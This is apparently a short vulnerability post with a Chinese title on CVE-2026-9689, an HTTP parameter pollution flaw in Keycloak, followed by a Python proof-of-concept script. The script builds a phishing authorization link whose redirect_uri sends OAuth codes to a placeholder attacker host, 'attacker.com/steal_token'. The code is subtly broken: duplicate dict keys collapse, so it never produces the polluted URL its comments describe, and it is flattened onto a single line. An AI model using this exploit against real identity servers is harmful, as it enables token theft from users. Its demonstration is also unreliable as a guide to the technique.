CVE-2026-9689 Keycloak HTTP参数污染漏洞

# Conceptual Proof of Concept for CVE-2026-9689 # This script demonstrates how an attacker might craft a malicious URL # utilizing HTTP Parameter Pollution to manipulate the redirect_uri. import urllib.parse def exploit_poc(target_domain, client_id, malicious_redirect): # Legitimate redirect URI (whitelisted) legit_redirect = "https://app.example.com/callback" # Construct the base authorization endpoint URL base_url = f"https://{target_domain}/auth/realms/master/protocol/openid-connect/auth" # Parameters for the auth request params = { "client_id": client_id, "response_type": "code", "redirect_uri": legit_redirect, # First instance "redirect_uri": malicious_redirect, # Second instance (Pollution) "scope": "openid profile" } # Note: In a real HPP attack, how the server handles duplicate keys matters. # This PoC simulates the URL structure an attacker would send. # Depending on the framework, the URL might look like: # .../auth?redirect_uri=LEGIT&redirect_uri=EVIL query_string = urllib.parse.urlencode(params, doseq=True) full_url = f"{base_url}?{query_string}" print(f"[+] Malicious Link Generated:\n{full_url}") return full_url if __name__ == "__main__": target = "keycloak.example.com" client = "vulnerable-client" evil_site = "https://attacker.com/steal_token" exploit_poc(target, client, evil_site)